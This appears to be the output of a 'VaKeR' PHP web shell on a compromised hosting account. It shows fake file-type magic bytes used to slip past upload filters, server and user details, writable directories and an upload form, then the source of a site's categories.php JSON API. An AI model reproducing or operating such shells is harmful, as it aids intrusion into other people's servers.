%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/www/website_6ca89795/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/www/website_6ca89795/api/categories.php
<?php

header("Content-Type: application/json");

include("../dbcon.php");
include('auth.php');
define('BASE_URL', 'https://meatandgo.fr/');

function response($status, $message, $data = [])
{
    echo json_encode([
        "status" => $status,
        "message" => $message,
        "data" => $data
    ], JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT);

    exit;
}

$categories = [];

$query = mysqli_query($conn,"
SELECT *
FROM arawecovercategory
ORDER BY id DESC
");

if(!$query)
{
    response(false,"Category table error",[
        "mysql_error" => mysqli_error($conn)
    ]);
}

while($row = mysqli_fetch_assoc($query))
{

    $countQry = mysqli_query(
        $conn,
        "SELECT COUNT(*) as total
         FROM areawecover
         WHERE category_id='".$row['id']."'
         AND status='1'"
    );

    $countRow = mysqli_fetch_assoc($countQry);

    $image = '';

    if(!empty($row['catimg']))
    {
        $image =
        BASE_URL .
        "admin/dataimg/" .
        $row['catimg'];
    }

    $categories[] = [

        "id" => $row['id'],

        "category" => $row['category'],

        "image" => $image,

        "total_products" => (int)$countRow['total'],

        "products_api" =>
        BASE_URL .
        "api/products.php?category_id=" .
        $row['id']
    ];
}

response(true,"Categories Loaded Successfully",[

    "total_categories" => count($categories),

    "categories" => $categories
]);

$conn->close();

?>

VaKeR 2022